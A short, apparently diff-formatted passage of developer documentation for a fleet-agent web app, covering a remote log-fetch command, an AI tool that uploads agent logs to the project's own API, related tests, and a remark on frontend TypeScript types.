**`get_log` command** — Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail) +- **`upload_log` AI tool** — when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call Unit tests cover `AgentRemoteActions` offline gating and mining live-stats in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons. ### Frontend types (`types/index.ts`) -TypeScript interfaces in `server/web/src/types/` are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers. +TypeScript interfaces in `server/web/src/types/` are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers. + +